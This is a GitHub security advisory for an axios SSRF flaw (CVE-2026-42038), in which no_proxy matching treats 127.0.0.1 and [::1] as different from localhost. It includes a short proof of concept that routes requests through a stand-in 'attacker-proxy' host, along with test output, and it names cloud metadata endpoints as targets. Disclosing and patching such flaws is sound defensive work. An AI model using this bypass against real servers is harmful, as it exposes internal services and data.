GHSA-M7PR-HJQH-92CM

Vulnerability from github – Published: 2026-05-05 00:40 – Updated: 2026-05-05 00:40
VLAI?
Summary
Axios: no_proxy bypass via IP alias allows SSRF
Details

The fix for no_proxy hostname normalization bypass (#10661) is incomplete.When no_proxy=localhost is set, requests to 127.0.0.1 and [::1] still route through the proxy instead of bypassing it.

The shouldBypassProxy() function does pure string matching — it does not resolve IP aliases or loopback equivalents. As a result: - no_proxy=localhost does NOT block 127.0.0.1 or [::1] - no_proxy=127.0.0.1 does NOT block localhost or [::1]

POC : process.env.no_proxy = 'localhost'; process.env.http_proxy = 'http://attacker-proxy:8888';

```(base) srisowmyanemani@Srisowmyas-MacBook-Pro axios % >....
process.env.http_proxy = 'http://127.0.0.1:8888';

console.log('=== Test 1: localhost (should bypass proxy) ===');
try {
  await axios.get('http://localhost:7777/');
} catch(e) {
  console.log('Error:', e.message);
}

console.log('');
console.log('=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) ===');
try {
  await axios.get('http://127.0.0.1:7777/');
} catch(e) {
  console.log('Error:', e.message);
}

fakeProxy.close();
internalServer.close();

}); }); EOF === Test 1: localhost (should bypass proxy) === ✅ Internal server hit directly (correct)

=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) === 🚨 PROXY RECEIVED REQUEST TO: http://127.0.0.1:7777/ 🚨 Host header: 127.0.0.1:7777. ```

image

Impact: In server-side environments where no_proxy is used to prevent requests to internal/cloud metadata services (e.g., 169.254.169.254), an attacker who can influence the URL can bypass the restriction by using an IP alias instead of the hostname, routing the request through an attacker-controlled proxy and leaking internal data.

Fix: shouldBypassProxy() should resolve loopback aliases — localhost, 127.0.0.1, and ::1 should all be treated as equivalent.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.15.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.31.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.31.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42038"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T00:40:17Z",
    "nvd_published_at": "2026-04-24T18:16:30Z",
    "severity": "MODERATE"
  },
  "details": "The fix for no_proxy hostname normalization bypass (#10661) is incomplete.When no_proxy=localhost is set, requests to 127.0.0.1 and [::1] still route through the proxy instead of bypassing it.\n\nThe shouldBypassProxy() function does pure string matching \u2014 it does not \nresolve IP aliases or loopback equivalents. As a result:\n- no_proxy=localhost does NOT block 127.0.0.1 or [::1]\n- no_proxy=127.0.0.1 does NOT block localhost or [::1]\n\n\nPOC :\nprocess.env.no_proxy = \u0027localhost\u0027;\nprocess.env.http_proxy = \u0027http://attacker-proxy:8888\u0027;\n\n```(base) srisowmyanemani@Srisowmyas-MacBook-Pro axios % \u003e....                     \n    process.env.http_proxy = \u0027http://127.0.0.1:8888\u0027;\n\n    console.log(\u0027=== Test 1: localhost (should bypass proxy) ===\u0027);\n    try {\n      await axios.get(\u0027http://localhost:7777/\u0027);\n    } catch(e) {\n      console.log(\u0027Error:\u0027, e.message);\n    }\n\n    console.log(\u0027\u0027);\n    console.log(\u0027=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) ===\u0027);\n    try {\n      await axios.get(\u0027http://127.0.0.1:7777/\u0027);\n    } catch(e) {\n      console.log(\u0027Error:\u0027, e.message);\n    }\n\n    fakeProxy.close();\n    internalServer.close();\n  });\n});\nEOF\n=== Test 1: localhost (should bypass proxy) ===\n\u2705 Internal server hit directly (correct)\n\n=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) ===\n\ud83d\udea8 PROXY RECEIVED REQUEST TO: http://127.0.0.1:7777/\n\ud83d\udea8 Host header: 127.0.0.1:7777. ```\n \n\n\n\n\n\n\u003cimg width=\"1212\" height=\"247\" alt=\"image\" src=\"https://github.com/user-attachments/assets/0b07ddc4-507d-4b11-a630-15b94ad2c7e7\" /\u003e\n\n\n\n\nImpact: In server-side environments where no_proxy is used to prevent requests to internal/cloud metadata services (e.g., 169.254.169.254), an attacker who can influence the URL can bypass the restriction by using an IP alias instead of the hostname, routing the request through an attacker-controlled proxy and leaking internal data.\n\nFix: shouldBypassProxy() should resolve loopback aliases \u2014 localhost, 127.0.0.1, and ::1 should all be treated as equivalent.",
  "id": "GHSA-m7pr-hjqh-92cm",
  "modified": "2026-05-05T00:40:17Z",
  "published": "2026-05-05T00:40:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-m7pr-hjqh-92cm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42038"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axios/axios"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Axios: no_proxy bypass via IP alias allows SSRF"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…